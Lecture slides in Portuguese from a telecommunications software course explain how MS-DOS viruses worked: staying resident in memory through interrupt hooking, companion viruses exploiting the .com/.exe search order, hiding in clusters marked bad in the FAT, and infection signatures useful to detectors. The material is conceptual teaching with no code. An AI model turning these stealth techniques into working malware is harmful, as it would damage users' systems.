MSDOS residência em RAM (2) A tabela de vectores de INT ocupa uma zona fixa de memória, 00000H a 00400H. A posição 4*xxx contém o endereço de execução da tarefa associada à instrução INT xxx (função indicata no registo AX). Modificação dos endereços feita pelo INT 21H, função 25H. Código TSR activado sempre que executado o INT xxx. Virus TSR diminuem o espaço disponivel de RAM. Tornam mais lenta a execução dos programas Prof RG Crespo Software de Telecomunicações Virus-I : 55/59 MSDOS residência em RAM (3) Para tornar inacessível ao utilizar o código do virus, ele é inserido na parte superior da RAM e alterado o INT A2H (valor do espaço de memória). BIOS ROM DOS BIOS ROM DOS Virus Valor de INT A2H TPA Valor de INT A2H TPA Antes TSR Prof RG Crespo Software de Telecomunicações Virus-I : 56/59

MSDOS virus companheiros O interpretador de comandos COMMAND procura ficheiros, por extensão, pela ordem.com,.exe e.bat Os virus aproveitam esta ordem, para a infectar um ficheiro xpto.exe Infectam xpto.exe, e alteram o nome para xpto.com Tornam invisível o ficheiro infectado (virus companheiro) Quando o utilizador executa o xpto, o MSDOS corre o ficheiro infectado. Prof RG Crespo Software de Telecomunicações Virus-I : 57/59 MSDOS residência em disco Os sectores 1 e 2 contêm o FAT-File Allocation Table (duplicado nos sectores 3 e 4). O FAT contém o estado de todos os clusters (um cluster é uma sequência de sectores, e os ficheiros ocupam clusters - ex: a diskette de 5.25 ocupa 2 sectores/cluster, disco PC/XT ocupa 8 sectores/cluster). Os estados dos clusters podem ser: disponivel, seguinte de um ficheiro, reservado, bad e último de um ficheiro) Listagem do directório root indicada nos sectores 5-11. Os virus em disco podem tornar-se invisíveis, alterando o estado dos clusters ocupados como bad. Prof RG Crespo Software de Telecomunicações Virus-I : 58/59

Assinaturas Para evitar multiplas infecções, os virus possuem mecanismos de reconhecimento. Existem dois locais onde são inseridas assinaturas: Ficheiro: cadeias específicas ( scan strings ) em locais designados Memória: na activação são instaladas funções próprias do virus (ex: Cascade tem função no endereço 04BFFH, devolve 055AH no registo DI). Os mecanismos de reconhecimento são uma preciosa ajuda para os detectores de virus. Prof RG Crespo Software de Telecomunicações Virus-I : 59/59